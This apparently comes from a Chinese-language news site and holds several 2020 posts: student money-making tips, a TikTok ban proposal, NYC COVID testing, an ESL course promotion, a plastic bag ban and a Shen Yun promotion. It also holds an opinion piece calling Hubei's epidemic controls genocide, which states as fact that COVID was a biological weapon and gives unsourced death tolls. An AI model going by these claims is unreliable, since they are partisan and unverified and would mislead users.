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盘点留学生50招赚钱小妙招

对于留学生来讲,想体面的挣一点零花钱,我们快来看看这50招赚钱小妙招

1、卖课堂笔记——比如加州大学圣地亚哥分校就有 A.S. Lecture Notes(付钱给笔记提供者);还有很多在线服务:比如 StudySoup(允许学生在线销售笔记,靠这个转到 5000~10000美元的学生决不再少数)

http://lecturenotes.ucsd.edu/index.php

2、卖论文——这个是合法的,你在大学写的那些论文不是给教授看一下打个分就完了,完全可以用GradeSaver出售你的旧文章,获得15~100美元的收入

https://www.gradesaver.com/sell-literature-essay

3、卖旧家具—— Craigslist是一个很好的买卖东西的网站,如果你要毕业了宿舍里的大东西不知道如何处理不妨在它上面卖点钱总比浪费了好。

4、卖你的手工制品——如果你是个心灵手巧的人,平时喜欢自己设计制作贺卡、家用工艺品,可以在 Etsy上兜售它们,不要小看业余时间的劳作,靠这个付大学学费的人也不是没有。

https://www.etsy.com

5、在eBay上买东西—— eBay应该是大家比较熟的网站了,据不完全统计,一个大学生一年可以在eBay上卖出大约 2000~3000美元的东西。

6、在路边卖假日礼物

7、卖血——咳咳,这个和你想象中的那个“卖血”完全是不同的概念,很多医疗机构都需要血浆,想知道你是否符合资格以及如何安全无忧得进行,不妨登录DonatingPlasma.org看看。

8、卖精子或卵子——作为一个年轻健康的成年人,走正常程序完全可以卖这个,并且卵子的价值比精子要贵很多,它能使你赚到 10000~15000美元,代价是这个过程并不是无痛的。

9、卖头发——主页菌还真有个朋友在大学时候卖过头发,就是被店家坑了。你可以登录 BuyandSellHair.com(最大的在线头发交易网站),你永远不知道人们愿意为你哪里的毛发买单~

10、卖电子游戏账户—— PlayerAuctions.com

11、卖垃圾邮件

1 2、卖你种的植物——如果你有空间来种植作物,完全可以卖给朋友或者加入当地居民一起买卖新鲜的农产品。

http://www.localharvest.org/csa/

13、卖你的想法或者发明——记得以前听过一个相声叫“点子公司”,Quirky正是一个这样的网站, 1000美元或者 100000美元都是有可能的~

14、卖你的作品—— Deviant

http://www.deviantart.com/browse/all/?order=6710886410

15、卖库存照片—— Penny Hoarder

http://www.thepennyhoarder.com/selling-stock-photography/

Make Money By Renting Your Stuff——有借有还

16、出租你的房子里的房间

17、出租自己的东西—— Rentything/Zilok

18、出租停车位或者车库—— JustPark.com

https://www.justpark.com/

19、租你的衣服—— RentNotBuy

20、Airbnb—— 这个就不用多说了吧

Make Money Through Online Entrepreneurship——在线创业

21、自由撰写博客——这是开始赚钱最简单的方法之一,有很多方法可以让你开始写作:

22、为企业写作—— UpWork

https://www.upwork.com/

23、开一个博客或网站——如果你真的想通过写作赚钱。你只需要一个域名和便宜的 webhosting(通常一个月 3.95美元)

https://www.bluehost.com/

24、成为虚拟助手——很多企业都需要一个外包的“助理”帮他们回复电子邮件、处理基本的写作,每个月也能赚几百美元。

25、Fiverr——一个让大家看到你的演出的网站

26、在亚马逊Mechanical Turk做Microgig——一个快速完成酬金很少的工作(有时会低至 0.05美元),但好处是你可以在课堂上完成它。

27、做在线设计—— 99Designs

28、成为YouTube的博主——1000次观看 7.60美元

29、设计和销售T恤—— Zazzle和Cafepress

30、将音频转录为文本——UpWork.com

31、设计App

32、成为手写书法家——Etsy

33、成为在线课程老师——Udemy

34、成为翻译员——LiveTranslation.com

35、成为虚拟呼叫中心运营商——LiveOps

36、成为声音艺术家

37、成为司机、运货员——uShip

Earn Money Doing Tasks——做任务赚钱

38、默认搜索引擎赚取积分——Swagbucks

39、填写在线调查——Points Club、Harris Poll、Pinecone、Opinion Ou官方真题Officialst、Survey Spot

40、参与市场调查——Cross Media Panel、Digital Reflection Panel

41、用户在线测试——UserTesting.com

42、TaskRabbit——人们会在上面有偿发布任务

43、帮别人铲屎

44、记录员——为老人、残疾人或人力部分服务

45、成为医疗测试志愿者

46、成为按需送货员—— Postmates

47、代理产品—— Agent Anything

48、奖学金

49、回收瓶瓶罐罐

50、回收废旧金属

看完这50个赚钱小妙招是不是已经感觉自己的马上就要走样人生巅峰成为万人敬仰的高富帅白富美了呢?赶快行动起来吧!

2020-03-05 / by / in , , , , , , ,
美国会议员预立新法 禁止在政府设备中安装TikTok

TikTok在青少年中尤其受欢迎,据悉,它是去年全球下载量最大的应用程序。

但美国官员对它与北京政府的关系表示担忧。周三(3月4日),美国国会议员推出一项新立法,禁止在政府设备中安装TikTok,原因是这款社交媒体应用程序存在潜在安全风险问题。

美国之音报导,在参议院听证会上,来自联邦调查局、司法部和国土安全部的官员表示,该影音共享应用程序可能成为一种工具,为中共情报部门所利用。

召集听证会的参议员乔什·霍利(Josh Hawley)说,他正在引入一项法​​案,禁止所有美国政府设备使用TikTok(抖音国际版),称该应用程序「对美国人民构成重大安全风险问题」。

FBI网络部门官员克莱德·华莱士(Clyde Wallace)在听证会上说:「一款应用程序背后有着一般人所不了解的含义,TikTok就是个例子。」

华莱士在书面证词中说,这款中资社交媒体应用程序可能会收集个人数据,包括生物特征识别、联系人列表、位置数据以及银行和信用卡详细信息。

虽然TikTok收集的各种数据点似乎并不敏感,但华莱士表示,这些信息可能会被汇总并「用于诸多目的」。

「它基本上是由国家赞助的参与者所控制。」华莱士说:「任何数据都可以转移到其它地方和包括其中国母公司在内的相关实体。」

国土安全部网络安全官员布莱恩·韦尔(Bryan Ware)回应了这些说法,称TikTok数据可能成为中共所利用的大数据库一部分。

「中国(中共)在数据收集、针对这些数据开发人工智能和分析方面有着异乎寻常的计划,其目的是我们不完全清楚的……这应该引起我们极大关注。」韦尔说。

「在政府设备和政府网络上,像TikTok这样的应用程序肯定没有立足之地。」

TikTok表示其运营不受北京当局的影响。

司法部安全司助理检察长亚当·希基(Adam Hickey)说,来自TikTok的数据汇总,「使情报服务更容易收录或入侵政府雇员使用的系统。」

新美国基金会(New America Foundation)网络安全研究员萨姆·萨克斯(Samm Sacks)专门研究中国问题,他说,中共的法规实质上授权政府「对这些公司提出任何他们想要提出的要求」

2020-03-05 / by / in ,
高峰:湖北正在开展一场群体灭绝运动

 

     搞群体灭绝运动是中共的传统。在武汉新冠疫情爆发后,中共为欺骗国际社会,又开启了一场新的群体灭绝运动。

一、中共把武汉防疫变成一场政治运动

    这场新的群体灭绝运动是从1月23日武汉封城开始。

    据习近平发表在《求是》的文章说,1月22日,鉴于疫情迅速蔓延、防控工作面临严峻挑战,我明确要求湖北省对人员外流实施全面严格管控。1月23日凌晨,武汉在没有任何预告的情况下被全面封城。由于封城来得实太突然,许多家庭连最基本的生活必需品都买不到。从这天开始,全武汉人被软禁在家中。由于政府要求病毒感染者居家隔离,导致疫情全面扩散。中共害怕武汉人闹事,又派出大量军警进入武汉戒严。

    封城禁足还不够,还必须要控制疫区的舆情主动权。据长江网报道,2月3日,习近平又主持召开中共中央政治局常务委员会会议,对疫情防控和经济社会发展重点工作作出部署,对做好宣传教育和舆论引导工作提出了明确要求,要宣传部门助力打赢这场疫情防控(防舆)阻击战。于是,中宣部连夜调集300多名记者深入湖北和武汉进行采访。从此,湖北省的一切工作都围绕对外宣传的需要而展开。

   2月10日,习近平在北京调研新冠肺炎疫情防控工作时说:“要坚决打赢疫情防控的人民战争。”

     就在习近平发表讲话的第三天(2月12日上午),中央指导组副组长、中央政法委秘书长陈一新就开始坐镇武汉,他在会上对湖北的干部说:想要疫情出“拐点”,先要信心出“拐点”。要提振士气、凝聚民心,实行“三量管控”:控增量、减存量、防变量,坚决打好疫情防控阻击战。因此,“三量管控” 就成了湖北抗疫工作的指导方针。那么,武汉又到底是怎样控增量、减存量、防变量的呢?

二、无数生命被政治正确所葬送

    2月19日,武汉某医院的一位医生在冒着被李文亮的风险发出的一封信,这封信揭示了中共运动式防疫的真相。

   原标题是《我在抗疫一线,我们在政治正确的前提下治病救人》。

    武汉市的新冠肺炎人数继续攀升,救治任务依然严峻。管控措施由最初的封城、封路到现在的封小区,愈来愈严格。

    奋斗在临床一线的医护人员也面临着新的形势变化。政治正确高于一切,高于患者的健康,高于大众的利益。

    首先,为了加病床周转,确诊的新冠患者住院10余天,没有生命危险,达到文件规定的出院标准,就要开出院。标准如下:1.症状好转。2.胸部CT较前吸收。3.核酸检查两次阴性。一些住院治疗的患者前一刻还在吸氧,走路都费劲,下一刻就要出院了,因为达到了文件规定的出院标准。而我们的核酸检查阳性率不足百分之三十,这些出院的患者并无社区对接,自行回家隔离。将教条主义发挥的淋漓尽致。

    其次,中药参与救治,每一位患者都要中药治疗,不论轻重缓急,不管望闻问切,按照症状选择拟订好的草药处方。谁有反抗,就是违抗抗疫大政方针和最高指示精神。有的在院期间肝功能异常,有的出院时肝功能高于正常值5倍。

    第三,为了出院率撒谎。有的患者复查的胸部CT影像无明显改善,但是在出院结论里也要写明显好转。毫无底线可言。

    第四,新收的患者有的仅仅是核酸检测结果阳性,没有任何的症状与体征。还有一家三口同时住院,也仅仅核酸检查阳性。有一个患者胸部CT检查三次,前两次正常,最后一次终于出现了病灶,很明显,真的被传染了。现在出院患者的症状都比新收病人的病情还要重。

    当初为了新冠肺炎患者的利益牺牲了普通患者的利益;现在为了完成新冠患者去库存的目标,牺牲在院新冠肺炎患者的健康。

    我们已经走在运动式的救治之路上,我们在大跃进的方向上迈进。

     从这位医生的信中可以看出,武汉防疫求治的工作重点就是为了作秀造假,欺骗国际社会。目的是要赶在3月底让世卫组织解除对全球发出的疫情警告。

三、湖北 “战时管制” 既“防疫”更“防舆”

    从1月23日武汉封城开始,中共官媒就宣称,各地把政治维稳当成防疫工作的头等大事。

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    为了加强疫情和舆情的双重管制2月13日,中共又派出一批有政法工作背景的干部前往湖北省和武汉市担任省市主要领导。如:原上海市长应勇出任湖北省委书记,现任中央政法委秘书长陈一新出任防疫指导小组副组长,原济南市委书记王忠林任湖北省委常委和武汉市委书记。当天,北京市疾控中心又发布战时状态令,强调目前是“关键时刻”、“大仗即将来临”。随后,湖北省多地相继宣布实施“战时管制”。 

    战时管制内容包括区内所有楼栋一律实施全封闭管理,非许可人员不得出入;街道、出入口一律实行全值守管理,值守时间为每天上午7点至下午10点;居民基本生活必需物资、药品实行全代购服务,每户居民每3天至少提供1次代购服务;所有强行冲闯隔离、警戒、封控设施的居民,按照战时管理相关规定,一律拘留。

    为防止疫情真相外传,湖北省还局部实施了断网行动。对一些将武汉疫情发到社交媒体的网友还实施强制隔离。如:公民记者陈秋实和武汉市方斌就是其中的例子。

    由于中共实施“战时管制” ,湖北各地的真实疫情就很难被外界所掌握,这样就更有利中共向国际社会隐瞒真实疫情。

四、中共不顾疫情强制企业复工

    更可怕的是,中共为了保经济增长,就在疫情正处于高发期2月初,国务院就发出通知要求全国的企业在2月10日全面复工,甚至连疫区武汉都收到了复工通知。当各地方政府和企业拒不执行时,中央又要求各地出台各种鼓励企业复工政策,如:包机免费接员工回来复工、免车辆过桥过路费等。然而,就在开工的当天,上海、浙江、江苏、重庆、广东等地就接连发生员工交叉感染后被大面积隔离事件。受损失的无疑是企业和员工。

五、中共就是靠群体灭绝起家

    中共自执政以来,已开展过多次群体灭绝运动,据维基百科记载:1947年-1952年搞土地改革运动,全国共杀害地主近300万人;1950年-1953年搞镇压反革命运动,全国共杀害未逃离大陆国民党87.46万人;1957年-1958年搞反右运动,全国有近300万知识分子被打成右派,被迫害致死的约100万人;1958年-1960年搞生产大跃进运动,全国共饿死或被打死3600万-4100万人;1966年-1976年搞无产阶级文化大革命运动,全国共有200-300万人死亡,700多万人伤残,1亿多人受到迫害;1970年-1972年搞一打三反运动,全国共有10万人被杀害;1999年取缔法轮功运动,全国至少有6000万人遭到政治迫害,被死亡人数上百万;2016年-2020年在新疆搞再教育集中营运动,被关押的人数近200万人,被死亡人数近万人;2019年-2020年香港反送中运动,被关押的人数约7000人,被自杀人数3000多人;2019年12月-2020年2月19日的武汉新冠状病毒(生化武器) ,至少导致武汉60万人被感染。据大纪元统计,截止2020年02月10日全国死亡人数早已过万,而且有61%死于居家隔离中。注:1973年-2015年在全国实施的计划生育运动,这也是人类历史上最惨无人道的群体灭绝运动。

六、中共又把湖北防疫搞成群体灭绝运动

    什么叫群体灭绝?按国际刑事法院罗马规约》,种族灭绝(英语:genocide)或群体灭绝,是指人为的、系统性地、有计划地对一个或一些种族民族宗教国民团体进行全体性或局部性的屠杀。  

    1948年12月9日,联合国大会通过第260A号决议《防止及惩治灭绝种族罪公约》,简称CPPCG条约。该条约于1951年1月12日生效,其中第二条对种族灭绝行为定义如下:

    蓄意全部或局部消灭某一国族族群种族宗教团体,犯有下列行为之一者:

1、杀害该团体的成员。

2、致使该团体的成员在身体上或精神上遭受严重伤害。

3、故意使该团体处于某种生活状况下,以毁灭其全部或局部的生命。

4、强制施行办法,意图防止该团体内成员生育。

5、强迫转移该团体之儿童至另一团体。

    按照这个国际公约,中共在湖北以防疫为借口实施“战时管制” ,致使该湖北人在身体上和精神上遭受严重伤害,故意使湖北人处于一种与世隔绝的生活状况,任由疫情剥夺他们的生命。这显然违反了国际公约的第2条和第3条。过去计划生育是违反了该公约的第4条。

    舆论普遍认为,中共为了欺骗国际社会,可以不失牺牲全湖北人的生命;中共为了保经济增长,可以不失牺牲企业员工生命;这话一点都不为过,中共在湖北实施的运动式防疫事实上就是群体灭绝运动。

 

 

 

 

2020-03-03 / by / in , ,
纽约市“低风险,高配置” 启动早期检测

目前纽约市有一例确诊新冠病毒患者,有一例疑似病例正在等结果,两人都在家进行隔离。

市长和卫生局长分别强调虽然纽约市现在风险低,但是已经具备当地检测的能力,从现在开始启动早期检测系统。

在纽约市确诊一名新冠病毒患者的第二天(3月2日),市长白思豪带领各市府职能部门举行了自1月24日以来的第二次应急处理常规演习。市府在新闻发布会上传递出的信息是:纽约市目前新冠病毒的风险还很低,但是市卫生局长、紧急办理办公室以及各个相关部门都在做最高级别的准备。同时,从昨天开始,纽约市开始自己在当地的实验室检测病毒,卫生局与三个医疗机构合作,开始了早期侦测系统。

「七个星期以来我们一直做着正确的工作。昨晚有一例确诊了,这是我们预料到的。」市长说,「这个疾病没有时间表,也许会持续几个月,所以纽约要保持高度警惕,个人一定要遵循卫生习惯,勤​​洗手、咳嗽打喷嚏用胳膊肘挡住、有症状马上找医生。」

市卫生局局长巴博特表示,可能人们听到一例确诊之后会有些担心,「但我鼓励大家正常生活,只是记住每日的洗手习惯等;当有人出现症状,或者和几个全球热点有过联系的时候,尽快通知医生。」她说,「因为纽约现在新冠病毒的风险还是很低,城市的准备却是高级别的。」

巴博特把纽约的低患病人数,归功于人们对旅行的限制以及遵守良好的卫生习惯。她对纽约目前保持低风险很有信心。 「一个是这个病人没有和别人接触,没有造成人传人;另外我们和医疗提供者保持紧密的沟通;另外,我们现在有自己的测试能力了……即使在人传人时,我们也会很快切断这种联系。」

根据市长和局长的信息,纽约市目前正在各医院就诊的流感症状病人中,辨别新冠病毒的疑似病人,一旦发现可疑症状以及有去过几个疫情爆发国家的历史,或者近期亲密接触过从这些国家回来的人的,就基本符合了送检标准。

「我们知道社区传播的速度很快,所以我们建议市民,即使你没有上面的旅行经历,只要出现症状,就找医生。」此外,市长强调,纽约市民有任何疑问和问题,都可以拨打311热线询问。

在周一以前,所有病人取样都需送到华盛顿国家疾病防控中心CDC的化验室去检测。从现在开始,纽约市开始直接确诊病例,当天就可以出结果。

「纽约市可以在当地确诊的授权,加大了我们的测试能力。」巴博特说,从周一开始,卫生局将和纽约市三个医疗部门——医管局、长老会医院和纽约大学医学院合作,对那些有可能患病的人群展开「早期检查」系统,「想尽一切办法」抵达更多人群,找出潜在病源。

「我再强调一遍,我们纽约市现在是低级别风险,但是要做高级别准备,我们要求纽约人做好准备。」巴博特说。

另外,白思豪在接受NY1访谈时表示,「被确诊的妇女在家隔离已经足够,根据专家表示,病毒不会通过通风设备传播。」

 

2020-03-03 / by / in
ESL(语言课程)的优势及适合人群
ESL(English as a Second Language,以英语为第二语言/外语)是针对母语非英语的并把英语作为第二语言的语言学习者的专业英文课程,是外国学生申请美国大学所必修的一门语言课程。通过参加ESL考试,考生不仅可以提高语言水平,还可以更加深入地了解英美国家的社会结构文化等,使自己的语言水平达到能够顺利在美国学习、生活的水平。凡考试通过的学生都可获得ESL相应的等级证书。ESL证书是受到美国大学联盟认可的。持该证书考生可自由申请联盟内院校的任何专业,无需再提供托福、雅思等其他的语言成绩。成绩合格者将被相应院校录取,并可能获得高额奖学金。美国教育中心(AEC)是ESL中国考试中心。中国学生通过参加ESL考试申请美国大学,可以不受TOEFL和IELTS考试的时间或地点等诸多条件限制。
ESL课程分等级教学,一般有A~E级。其中A级为最低级,E级为最高级。
ESL是全美语言学校最通用的世界级权威英语培训课程
在美国,很多学校都开设面向美国留学生的ESL课程。学生通过该课程的学习可以有效提高自身整体的英语能力,能够与以英语为母语的人士零障碍沟通。
ESL课程教材专门为母语非英语的学生而设,具有很强的实用性。“让英语成为你的第二语言”,是ESL课程终极的教学目标!

教学项目

ESL英语是国际学生进入北美大学必修的语言课程,是世界公认的语言课程,ESL为学生提供以交流的方式学习英语的机会。 许多人选择到加拿大学习英语作为第二语言是因为加拿大有众多优秀的英语语言学校。因为为数众多的新移民需要学习英语,因此,这些年来,加拿大培养出了相当数量的一批ESL专业教师。在语言学校,国际学生可以学习综合英语、商务英语或专门用途英语。有时候单门选修的英语课需要1000多加元的学费,几乎所有的大学和社区学院都开设ESL课程。ESL英语课程以加拿大公立学校教学大纲为蓝本,使母语为非英语的学生在英语听说读写等方面达到加拿大本地高中学生同等水平,使非英语国家学生迅速与北美大学课程接轨,ESL学生班分为四个层次12级别,学生在入学前先接受测试以便确定其英语程度,再选择适合自己程度的班级。各级的学生在每一期的学习结束进行考试,达到标准后再升到下一级。并获得该级别的国际认证的合格证书。所以一般来说,大多数ESL学校的入学要求和入学时间都很灵活。
ESL并不是必修课程。如果有了托福和雅思成绩【基本托福90-100以上,雅思6.5级以上】起码在加拿大就不需要上ESL了。但是相对来说ESL更容易让人接受,因为比较托福雅思简单得多。
在美国,虽然移民政策比较严格,但是每年还是有许多学生跟随父母来到美国学习,另外,美国教育举世闻名,吸引着无数的学生前往美国学校就读。可是这些学生在刚刚进入美国学校时,很难与英语母语的学生一样上同样的英语课程,因此专门针对国际学生和移民学生开设ESL课程也就显得非常必要了。
不过,所有打算进入大学的高中国际学生,如果没有托福和雅思等官方认可的合格的英语考试成绩,均需参加ESL考试,并取得合格的ESL成绩,否则不能进入大学学习专业课程。ESL考试分为听说读写四部分,考试时间分别为:听力30分钟、阅读90分钟、写作60分钟、口语11~15分钟。ESL考试根据分数的不同会评定出不同的级别,91~100分是最高级5级,81~90分是4级,70~80是3级,60~69是2级,60分以下1级。大部分大学都会要求学生的ESL成绩达到3级以上。

课程分类

ESL课程可以分为强化课程(Intensive ESL)与学术课程(Academic ESL)两种,学生在顺利通过ESL考试或没有取得雅思、托福等语言成绩之前所学习的ESL课程是强化课程,许多私立中学或大学都会提供。通过ESL考试之后或者已取得达到要求的托福或雅思语言成绩之后继续学习的ESL课程是学术课程,这种课程是由大学为本校的国际学生开设的,便于其进行专业学习的课程。
虽然无论是ESL强化课程还是学术课程都包括听说读写四部分,但是强化课程和学术课程对这些能力有不同的偏重。强化课程更偏向于听、说能力,学术课程则偏向于读、写能力。学习强化课程不用计入学分,相对没有太大压力,学习内容和学习方式也比较有趣。强化课程常常没有固定的教材,老师可以更为自由地安排教学内容,使其更贴近学生的生活,生动有趣。

ESL课程的优势

ESL课程有利于全面提高英语水平。对于一个国际学生来说,即使你的英文水平很好,但到达美国这样一个全英文的陌生环境中,还是会感觉英文水平不足以应付全新的生活。ESL课程是学习英语的系统化课程,实用性很强,可以从听说读写各个方面全面提高英语能力,可以使学生尽快地提升以英语进行会话交流以及写作、完成作业的能力,减小学生在课堂学习的压力。

更重视实际运用能力

ESL成绩可以替代托福或雅思等语言考试成绩,入读美国大学!
ESL课程与托福、雅思等比起来更注重实际运用能力。虽然托福和雅思等考试成绩也常常被大学所认可,但是这些考试应试性成分比较强,真正的口语表达等往往得不到足够的重视,不少学生即使在这些考试中取得不错的成绩,但在与美国学生和老师口语交流中却常常出现问题,不能与人正常沟通。这也是为什么有的学生在拿到了托福或雅思证书,仍然会学习ESL课程的原因。
美国大多数大学都会要求学生有官方认可的语言能力证明,因此每年都有无以计数的学生参加托福考试,但是毕竟还是有很多学生会在托福考试的千军万马中“失足”或者因为种种原因未能参加托福、雅思等考试。ESL考试在美国已经得到了众多美国州立大学和私立大学的认可,学生可以将ESL成绩作为一种语言能力证明,ESL打开了又一扇到美国学习的大门。

帮助学生适应美国的教学方式和美国文化

ESL课程是专门针对国际学生和移民学生而开设的,在课堂上学生不仅能提高英语,还能了解到许多美国文化。ESL课程非常注重实用性,取材也常常与社会生活密切相关,所以ESL课程能够让学生了解更多的美国文化。ESL课程会鼓励学生更多地参与到课堂学习中来,采用角色扮演、小组讨论、自由提问、演讲等多种形式,因此学生需要更为积极主动,克服胆怯心理,多发言,敢于在他人面前表现自己,多多与老师和同学进行互动沟通。而这正是典型的美式教育特点,因此ESL课程能够有效帮助学生适应新的教学方式。

ESL考试说明

ESL考试与一般的托福和雅思等语言考试不同,它没有官方出版的参考书,不会故意考察学生一些过于专业的词汇或在语法上刁难考生,它更注重考察学生的语言运用能力。如果学生的英语大约达到大学四级水平,能够使用英语进行日常的对话和交流,要通过ESL考试就不会有太大问题。

题型与考试内容

ESL考试成绩的有效期为2年。考试分为听力、阅读、写作、口语四个部分。通常而言,研究生申请者的英语水平至少要达到ESL四级,而本科生则需达到三级或以上。
ESL考试题型与内容一览表
考试题型
考试内容
考试时间
考试分数(满分100)
听力
听写短句、选择题、判断题
30分钟
40%
阅读
读短文,回答选择题
90分钟
20%
写作
按题目写不少于300字的论文
60分钟
20%
口语
根据论题发表演讲
5-15分钟
20%

ESL证书级别

ESL考试分数及证书级别对照表
考试分数
91-100
81-90
70-80
60-69
60分以下
ESL证书级别
5
4
3
2
1
2020-03-03 / by / in , , , , ,
3月1日起实施禁塑令 纽约市议员派发环保袋 吁民众不必囤粮

纽约州一次性塑料袋禁令从3月1日起实施,在这天,超市内只有纸袋和环保袋,不再使用一次性塑料袋。

因应3月1日开始实施的禁塑令,市议员顾雅明联合市清洁局(DSNY)和社区组织于29日(周六)在法拉盛天景昌发超市免费派发1,000个环保袋。顾雅明表示,发放环保袋的用意是为了改善生态环境,鼓励民众减少使用塑料袋。州府也给商家一个月的宽限期,帮助小商家调整适应。

超市经理Andy Dai表示,为帮助民众适应新法规,他们安排在收银台旁张贴宣导海报,「虽然经营成本升高,但减少使用塑料袋能减轻环境负担」。

此外,对于近期民众抢购粮食和囤米囤粮的现象,顾雅明表示民众不需要这样做,因为法拉盛的各大超市内,食物供给充足、稳定,大家不需要恐慌,没有必要囤积粮食,而且美国是资讯透明、公开的政府,不会隐瞒疫情,有最新消息一定会第一时间告诉大家;Andy Dai的看法与顾议员相同,超市内备有足够的生活物资,呼吁民众不需囤积粮食。

2020-03-02 / by / in ,
神韵:美不胜收,一场视觉盛宴,五千年的绝唱!(神韵2020)

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神韵:美不胜收,一场视觉盛宴

 

神之韵(神韵介绍)

神韵,作为全球第一秀,展现了中华五千年璀璨历史和文化,传递的信息绝非人间语言所能概括。

何谓神韵?神韵之意,即是‘神之韵’,是指神舞动中美的姿态。神韵的节目源自于历史长卷、经典传奇、不同民族传统以及普世主题,为观众带来纯美的体验。

神韵

神韵的宗旨是复兴五千年神传文化。今年有七个团同时在世界各地开始巡回演出,每一年的演出都有一套全新的节目,配合全新的音乐、服装、动态天幕和歌唱曲目。

 

神韵艺术团是全球顶级中国古典舞与传统音乐艺术团。 2006年成立于美国纽约,神韵艺术团云集了大批菁英艺术家,为恢复与弘扬中国传统文化艺术,不断缔造新的奇迹与辉煌,倍受世人瞩目。


五千年的绝唱

中华五千年以来,是神传文化滋养了中国大地。神韵通过令人叹为观止的舞蹈和音乐,恢复和弘扬了五千年华夏璀璨的文化,展现了人与天地万物为一体的境界。

神韵

通过超越于语言的至纯音乐和古典舞蹈,神韵将天国的殊胜、历史英雄的传奇和当代的史诗交织在一起,带领你走上华夏五千年文化之旅。她令人惊叹的美丽和醍醐灌顶的能量赋予观众灵性的启迪与升华。


神韵,用丰富多彩、包罗万象的艺术形式,演绎了五千年的绝唱。当天幕拉开,一场美不胜收的视觉史诗即将开启!

透过神韵绚丽华美、精彩超凡的演出,让观众领略到的是:真∙善∙忍是普世价值的真正内涵。

 

神韵

 

神韵艺术家非凡的技艺,让观众得以一睹殊胜的天国圣景,及翩翩起舞的天国仙女……观众如身临其景,从中领略扣人心弦的惊喜,感悟到演出的神性内涵!

神韵,史诗般绚丽多彩的视觉飨宴,表达了回归传统,回归善良,回归淳朴,才是永恒不变的旋律。


这是一场启迪人心的盛宴,恢弘大气的音乐,赏心悦目的舞蹈,带领观众畅游中原大地,饱览五千年文明,让观众深刻体会到了什么才是真正的正统中国文化!

神韵

神韵观众反馈

新西兰第一大城市奥克兰的观众一一Farah说:“当今的人们在很大程度上遗失了传统,大家正在失去对高层生命的信仰,这也是为什么人们会肆意妄为并一味地伤害我们生活的星球。如果过我们能遵循传统价值观生活的话,我们会更加敬仰这个宇宙。所以,神韵传递的信息应该传递到全世界。”


奥克兰的另一观众一一Allen说:“的确美不胜收,是视觉史诗(A visual epic.)。我赞叹于每个舞蹈演员充沛的体力。他们落地时,你听不到一点响声,看起来是那么地轻松自如。我想他们一定跳舞跳得很累了,但是看起来还是那么优雅,令人叹服。”

Allen还感悟到演出的神性内涵,她说:“艺术通常是表达精神层面的。我在神韵的舞蹈表演中感受到那种神性的内涵,很扣人心弦。演出还展现了包容的价值观,以及关心和善待别人,令人称道。”


神韵

美国娱乐之都拉斯维加斯的观众一一Hoya说:我们非常喜欢(神韵),我尤其欣赏其色彩、整个制作、灯光、故事情节,和所有的一切。色彩运用太妙了,看到他们如何把(演员的)服装跟背后天幕的颜色搭配起来,如何灵活地运用,真是奇妙!背景上那些画面真是太漂亮了,那是(中国)真正的风光吧?我喜欢所有的那些风景。妙不可言,以前从没见过这样的节目。演员在演出中投射出丰富的情感,既能让你伤心落泪,也能让你开心雀跃,他们仿佛全身心地投入进去,你能感受得到。

Hoya还表示,演出的方方面面都让她印象深刻,尤其是几个有趣的小舞剧让她开怀大笑。她还说,她从节目中感受到中国古老悠远的文化及其背后深邃的精神内涵。

最后她说,神韵独树一帜,与众不同,富有内涵,色彩亮丽,妙趣横生,没办法用任何方式做比较,她又不是芭蕾,又不是歌剧,都不一样。她就叫作‘神韵’!


拉斯维加斯的观众一一Michael Grossman先生观看了神韵纽约艺术团在拉斯维加斯史密斯表演艺术中心的第三场演出后,称赞“演出不仅视觉美,也很有意义,令人感动。”“几乎无法用言语描述。”“如果想要完全了解这个演出,必须亲自去看。”

他赞叹神韵舞蹈演员的高超技巧,“舞蹈极为出色,令人称奇,美妙绝伦。他们(演员)好像在飘一样。”

Grossman所拥有的建筑公司主营商业型建筑,他同时兼任公司副总裁。

Grossman说,演出带给他丰富的情感体验,难以言表,“演出美得无法描述,非常独特,且充满乐趣,但也有悲伤的片段,给人们带来很多各种情感的体验。”

神韵

“真是太令人心生喜爱了。演出是如此地美,编舞太出色了,还有那些乐器和独奏,都美极了。”

他说,他尤其喜爱《水袖舞》,“太美了,她们将长袖抛出去时,眼前一片粉色,真是太美了,我非常喜欢。”

独特的二胡演奏也是他的最爱,他表示,他喜欢神韵的音乐,聆听神韵的音乐,“我感到非常愉悦。”“音乐棒极了,我很喜欢那些中国传统乐器,那个两根弦的乐器(二胡)也是我的最爱。”

Grossman特别提到,神韵艺术家的演出令他心生感动。“演出很有意义,我看懂了:他们在做什么,为什么这么做。他们与共产主义的抗争,这是非常重要的。”他接着说,“我也了解了为什么会发生迫害,也了解他们试图回归他们的根。做这样的事非常好,很有意义,我以前从没看过这样的演出,我还会再来看。”

神韵

2020年1月9日,神韵国际艺术团在英国沃金(Woking)新维多利亚剧院的第三场演出继续大爆满,一票难求


Grossman说,他非常喜欢演出中展现的故事,“故事非常好,我很喜欢,每个故事都完全不同。”

他还表示,他从这些故事中看到人类普世的共性,虽然自己是美国人,但他发现“对演出很容易理解,能从中看到中国文化中和美国文化的相似性,比如,人与人之间的互动,男女之间的情感,这让他感到非常有趣。”

这是Grossman第一次看神韵。他说,他一定会再去看,也会与亲朋好友分享。“我要告诉他们,你一定要去看神韵,这个演出几乎无法用言语描述,独特,有趣,也有悲伤,带给你很多的情感体验,这是一个非常出色的演出。如果想要完全了解这个演出,必须亲自去看。”


电信专家Mark Hamilton观看演出后,对神韵赞叹不已,从舞蹈到音乐,再到故事,都给他带来惊喜和震撼。

Hamilton是在拉斯维加斯会展和观光局工作21年的电信专家,负责网络设施建设,目前正在进行中的项目为一件300万平方尺的扩建工作。

Hamilton赞叹道,“哇,真是不同凡响!在来看演出之前,我虽然读了很多相关的资料,但是,直到自己亲眼观看,才能真正了解神韵的音乐、舞蹈、歌声有多么的美妙,水准有多么的高,演出所有的一切都太完美了,真是惊人的高水准!”

《水袖》舞令他深感震撼,他说:“水袖是我的最爱,那种舞蹈我从未见过,太独特了!我看过很多不同场合、不同地点的演出,也看过百老汇的秀,但是,从未见过水袖这样的舞蹈。”

神韵

Hamilton特别解释为何如此喜爱《水袖》舞,“我对我来说,那支舞蹈真的是太震撼了,令人印象深刻。她们能变换位置移动舞步,却能始终保持完全协调一致的动作,并与音乐配合着不同的编舞,真的是太令人震撼了!”

神韵各种内涵和特色的舞剧也让Hamilton感到不可思议,“每个故事都给人不同的感受,都配有不同的音乐、不同的节奏,真的是非常非常令人震撼,非常丰富多彩。”

